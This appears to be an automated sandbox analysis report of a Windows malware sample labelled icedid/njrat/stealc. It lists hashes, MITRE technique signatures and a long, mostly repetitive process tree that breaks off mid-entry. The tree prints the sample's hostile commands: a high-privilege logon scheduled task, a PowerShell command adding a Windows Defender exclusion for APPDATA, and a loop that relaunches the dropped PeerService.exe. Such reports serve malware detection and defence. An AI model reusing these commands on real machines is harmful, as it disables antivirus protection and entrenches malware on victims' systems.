d8dba3227addbd7c1f6d98fffad8fe4aae0fd72b100ea33a9ea6481e436a8e54

Analysis

max time kernel
103s
max time network
95s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
02/05/2026, 06:44

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-05-02_9cf11ea8be6a1e46713aa627009cfe32_icedid_njrat_stealc.exe
Size 6.6MB
Sample260502-hhtmwsas5v
SHA256 d8dba3227addbd7c1f6d98fffad8fe4aae0fd72b100ea33a9ea6481e436a8e54
MD5 9cf11ea8be6a1e46713aa627009cfe32
SHA1 a8de2f4a48070b3a394911d756abe58fb8148201
SHA512 603b13c4f9a816a2aeb1263a38c314cd584aafdf806f858053fd916edb608779f481b0ede348d70e598000cdf2e2f3104ccb168db13990d00ec999e51f0e1898
SSDEEP 196608:M+hBt+kCzByQyVG/uzGNVyAl3K8fCGnbP3JzATC4G:bt+5NSG/lVrl3KExL3JzATzG
TLSH
T11A66012BB26901E8E1BFD17CC9165907EBB2780543A097CF12E046A62F77BE14E7E705
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution persistence

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3868	powershell.exe
4576	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
3248	PeerService.exe
3928	PeerService.exe

Enumerates processes with tasklist 1 TTPs 60 IoCs

discovery

Process Discovery

T1057

pid	Process
4796	tasklist.exe
236	tasklist.exe
4972	tasklist.exe
4396	tasklist.exe
4652	tasklist.exe
620	tasklist.exe
4000	tasklist.exe
4892	tasklist.exe
4108	tasklist.exe
4772	tasklist.exe
2320	tasklist.exe
4412	tasklist.exe
3316	tasklist.exe
936	tasklist.exe
2612	tasklist.exe
4980	tasklist.exe
2392	tasklist.exe
5076	tasklist.exe
2120	tasklist.exe
4736	tasklist.exe
1676	tasklist.exe
732	tasklist.exe
3172	tasklist.exe
4460	tasklist.exe
3444	tasklist.exe
4808	tasklist.exe
2784	tasklist.exe
2480	tasklist.exe
4508	tasklist.exe
2016	tasklist.exe
4276	tasklist.exe
2096	tasklist.exe
1320	tasklist.exe
4892	tasklist.exe
384	tasklist.exe
2368	tasklist.exe
220	tasklist.exe
4104	tasklist.exe
3988	tasklist.exe
396	tasklist.exe
1400	tasklist.exe
4668	tasklist.exe
132	tasklist.exe
4424	tasklist.exe
4460	tasklist.exe
3444	tasklist.exe
3032	tasklist.exe
460	tasklist.exe
4544	tasklist.exe
916	tasklist.exe
396	tasklist.exe
4692	tasklist.exe
2072	tasklist.exe
3296	tasklist.exe
4212	tasklist.exe
4724	tasklist.exe
2932	tasklist.exe
1828	tasklist.exe
4116	tasklist.exe
2120	tasklist.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Delays execution with timeout.exe 60 IoCs

defense_evasion

pid	Process
1488	timeout.exe
2388	timeout.exe
3272	timeout.exe
2348	timeout.exe
4508	timeout.exe
1464	timeout.exe
1324	timeout.exe
2636	timeout.exe
4860	timeout.exe
3980	timeout.exe
1464	timeout.exe
5088	timeout.exe
3748	timeout.exe
960	timeout.exe
3104	timeout.exe
4080	timeout.exe
4536	timeout.exe
1708	timeout.exe
1836	timeout.exe
808	timeout.exe
2052	timeout.exe
3988	timeout.exe
1676	timeout.exe
3932	timeout.exe
3732	timeout.exe
2372	timeout.exe
4104	timeout.exe
2400	timeout.exe
4640	timeout.exe
1860	timeout.exe
3944	timeout.exe
4840	timeout.exe
4972	timeout.exe
4108	timeout.exe
4948	timeout.exe
4304	timeout.exe
580	timeout.exe
3612	timeout.exe
1356	timeout.exe
4324	timeout.exe
1900	timeout.exe
2080	timeout.exe
3544	timeout.exe
2080	timeout.exe
5036	timeout.exe
668	timeout.exe
5076	timeout.exe
4360	timeout.exe
2132	timeout.exe
4212	timeout.exe
4708	timeout.exe
2164	timeout.exe
3796	timeout.exe
3728	timeout.exe
4776	timeout.exe
4660	timeout.exe
1296	timeout.exe
4576	timeout.exe
796	timeout.exe
1192	timeout.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
8	schtasks.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3868	powershell.exe
3868	powershell.exe
4576	powershell.exe
4576	powershell.exe

Suspicious use of AdjustPrivilegeToken 42 IoCs

description	pid	Process
Token: SeDebugPrivilege	4736	tasklist.exe
Token: SeDebugPrivilege	3868	powershell.exe
Token: SeDebugPrivilege	4972	tasklist.exe
Token: SeDebugPrivilege	4576	powershell.exe
Token: SeDebugPrivilege	3032	tasklist.exe
Token: SeDebugPrivilege	916	tasklist.exe
Token: SeDebugPrivilege	4212	tasklist.exe
Token: SeDebugPrivilege	4104	tasklist.exe
Token: SeDebugPrivilege	3988	tasklist.exe
Token: SeDebugPrivilege	460	tasklist.exe
Token: SeDebugPrivilege	3316	tasklist.exe
Token: SeDebugPrivilege	2016	tasklist.exe
Token: SeDebugPrivilege	4424	tasklist.exe
Token: SeDebugPrivilege	4724	tasklist.exe
Token: SeDebugPrivilege	1676	tasklist.exe
Token: SeDebugPrivilege	396	tasklist.exe
Token: SeDebugPrivilege	936	tasklist.exe
Token: SeDebugPrivilege	4276	tasklist.exe
Token: SeDebugPrivilege	2320	tasklist.exe
Token: SeDebugPrivilege	2612	tasklist.exe
Token: SeDebugPrivilege	4544	tasklist.exe
Token: SeDebugPrivilege	4980	tasklist.exe
Token: SeDebugPrivilege	4000	tasklist.exe
Token: SeDebugPrivilege	732	tasklist.exe
Token: SeDebugPrivilege	1400	tasklist.exe
Token: SeDebugPrivilege	3172	tasklist.exe
Token: SeDebugPrivilege	4892	tasklist.exe
Token: SeDebugPrivilege	3296	tasklist.exe
Token: SeDebugPrivilege	4460	tasklist.exe
Token: SeDebugPrivilege	4116	tasklist.exe
Token: SeDebugPrivilege	4668	tasklist.exe
Token: SeDebugPrivilege	2096	tasklist.exe
Token: SeDebugPrivilege	4108	tasklist.exe
Token: SeDebugPrivilege	2784	tasklist.exe
Token: SeDebugPrivilege	3444	tasklist.exe
Token: SeDebugPrivilege	384	tasklist.exe
Token: SeDebugPrivilege	2120	tasklist.exe
Token: SeDebugPrivilege	396	tasklist.exe
Token: SeDebugPrivilege	4808	tasklist.exe
Token: SeDebugPrivilege	1320	tasklist.exe
Token: SeDebugPrivilege	132	tasklist.exe
Token: SeDebugPrivilege	2480	tasklist.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1180 wrote to memory of 4092	1180	2026-05-02_9cf11ea8be6a1e46713aa627009cfe32_icedid_njrat_stealc.exe	81
PID 4092 wrote to memory of 8	4092	cmd.exe	83
PID 1180 wrote to memory of 3248	1180	2026-05-02_9cf11ea8be6a1e46713aa627009cfe32_icedid_njrat_stealc.exe	84
PID 3248 wrote to memory of 1504	3248	PeerService.exe	87
PID 3248 wrote to memory of 1456	3248	PeerService.exe	88
PID 1504 wrote to memory of 3868	1504	cmd.exe	92
PID 1456 wrote to memory of 4736	1456	cmd.exe	93
PID 1456 wrote to memory of 440	1456	cmd.exe	95
PID 3928 wrote to memory of 1276	3928	PeerService.exe	96
PID 3928 wrote to memory of 4644	3928	PeerService.exe	97
PID 1276 wrote to memory of 4576	1276	cmd.exe	101
PID 4644 wrote to memory of 4972	4644	cmd.exe	102
PID 4644 wrote to memory of 5004	4644	cmd.exe	103
PID 4644 wrote to memory of 668	4644	cmd.exe	104
PID 1456 wrote to memory of 4948	1456	cmd.exe	105
PID 4644 wrote to memory of 3032	4644	cmd.exe	106
PID 4644 wrote to memory of 3980	4644	cmd.exe	107
PID 1456 wrote to memory of 916	1456	cmd.exe	108
PID 1456 wrote to memory of 4156	1456	cmd.exe	109
PID 4644 wrote to memory of 3104	4644	cmd.exe	110
PID 1456 wrote to memory of 4304	1456	cmd.exe	111
PID 1456 wrote to memory of 4212	1456	cmd.exe	112
PID 1456 wrote to memory of 3680	1456	cmd.exe	114
PID 4644 wrote to memory of 4104	4644	cmd.exe	113
PID 4644 wrote to memory of 4080	4644	cmd.exe	115
PID 1456 wrote to memory of 3944	1456	cmd.exe	116
PID 4644 wrote to memory of 1708	4644	cmd.exe	117
PID 4644 wrote to memory of 3988	4644	cmd.exe	118
PID 1456 wrote to memory of 460	1456	cmd.exe	119
PID 4644 wrote to memory of 900	4644	cmd.exe	120
PID 1456 wrote to memory of 3652	1456	cmd.exe	121
PID 1456 wrote to memory of 796	1456	cmd.exe	122
PID 4644 wrote to memory of 1836	4644	cmd.exe	123
PID 1456 wrote to memory of 3316	1456	cmd.exe	124
PID 1456 wrote to memory of 4056	1456	cmd.exe	125
PID 4644 wrote to memory of 2016	4644	cmd.exe	126
PID 4644 wrote to memory of 4108	4644	cmd.exe	127
PID 1456 wrote to memory of 4324	1456	cmd.exe	128
PID 4644 wrote to memory of 5088	4644	cmd.exe	129
PID 4644 wrote to memory of 4424	4644	cmd.exe	130
PID 4644 wrote to memory of 8	4644	cmd.exe	131
PID 1456 wrote to memory of 4724	1456	cmd.exe	132
PID 1456 wrote to memory of 2964	1456	cmd.exe	133
PID 4644 wrote to memory of 1900	4644	cmd.exe	134
PID 1456 wrote to memory of 2388	1456	cmd.exe	135
PID 4644 wrote to memory of 1676	4644	cmd.exe	136
PID 4644 wrote to memory of 1236	4644	cmd.exe	137
PID 1456 wrote to memory of 396	1456	cmd.exe	138
PID 1456 wrote to memory of 2644	1456	cmd.exe	139
PID 4644 wrote to memory of 1192	4644	cmd.exe	140
PID 1456 wrote to memory of 2080	1456	cmd.exe	141
PID 1456 wrote to memory of 936	1456	cmd.exe	142
PID 1456 wrote to memory of 1140	1456	cmd.exe	143
PID 4644 wrote to memory of 4276	4644	cmd.exe	144
PID 4644 wrote to memory of 3452	4644	cmd.exe	145
PID 1456 wrote to memory of 808	1456	cmd.exe	146
PID 4644 wrote to memory of 3272	4644	cmd.exe	147
PID 4644 wrote to memory of 2320	4644	cmd.exe	148
PID 4644 wrote to memory of 4436	4644	cmd.exe	149
PID 1456 wrote to memory of 2612	1456	cmd.exe	150
PID 1456 wrote to memory of 3352	1456	cmd.exe	151
PID 4644 wrote to memory of 1488	4644	cmd.exe	152
PID 1456 wrote to memory of 3732	1456	cmd.exe	153
PID 4644 wrote to memory of 4544	4644	cmd.exe	154

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2026-05-02_9cf11ea8be6a1e46713aa627009cfe32_icedid_njrat_stealc.exe
"C:\Users\Admin\AppData\Local\Temp\2026-05-02_9cf11ea8be6a1e46713aa627009cfe32_icedid_njrat_stealc.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1180
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C "schtasks /Create /TN "PeerCreator" /TR "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe" /SC ONLOGON /RL HIGHEST /F >nul 2>nul"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4092
- - C:\Windows\system32\schtasks.exe
    schtasks /Create /TN "PeerCreator" /TR "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe" /SC ONLOGON /RL HIGHEST /F
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:8
- C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe
  "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3248
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /C "powershell -Command "Add-MpPreference -ExclusionPath $env:APPDATA""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1504
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath $env:APPDATA"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3868
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /C "for /l %i in () do (tasklist | find /i "PeerService.exe" >nul || (copy /y "C:\Users\Admin\AppData\Local\Temp\\chw.aof" "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe" & start "" "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe" & exit) & timeout /t 5 >nul)"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1456
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:4736
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:440
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:4948
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:916
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:4156
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:4304
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:4212
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:3680
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:3944
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:460
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:3652
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:796
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:3316
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:4056
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:4324
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:4724
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:2964
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:2388
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:396
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:2644
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:2080
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:936
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:1140
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:808
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:2612
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:3352
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:3732
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:4980
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:244
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:5076
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:4000
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:5104
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:4508
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:1400
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:4876
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:2052
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:3296
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:5016
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:4080
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:4460
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:3944
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:3544
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:2096
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:796
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:3728
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:4108
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:3808
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:580
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:384
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:1184
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:2400
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:2120
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:2644
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:2132
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:4808
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:3520
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:4640
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:2480
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:3552
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:3612
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:4508
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:1548
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:1356
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:4772
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:3852
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:2348
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:4892
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:2552
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:4708
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:4460
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:4116
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:1296
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:4652
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:2096
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:4108
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:2932
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:1084
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:4840
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:2392
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:384
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:4536
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:2120
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:2980
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:5036
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:1828
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:3520
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:4972
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:220
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:4980
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:2636

C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe
C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3928
- C:\Windows\system32\cmd.exe
  cmd.exe /C "powershell -Command "Add-MpPreference -ExclusionPath $env:APPDATA""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1276
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath $env:APPDATA"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4576
- C:\Windows\system32\cmd.exe
  cmd.exe /C "for /l %i in () do (tasklist | find /i "PeerService.exe" >nul || (copy /y "C:\Users\Admin\AppData\Local\Temp\\chw.aof" "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe" & start "" "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe" & exit) & timeout /t 5 >nul)"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4644
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:4972
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:5004
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:668
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:3032
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:3980
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:3104
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:4104
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:4080
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:1708
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:3988
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:900
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:1836
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:2016
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:4108
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:5088
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:4424
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:8
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:1900
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:1676
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:1236
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:1192
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:4276
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:3452
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:3272
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:2320
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:4436
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:1488
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:4544
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:5020
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:4576
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:732
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:868
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:2372
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:3172
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:2684
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:4860
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:4892
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:4940
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:4104
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:4116
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:3148
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:3988
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:4668
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:1612
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:3796
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:2784
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:3140
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:3748
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:3444
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
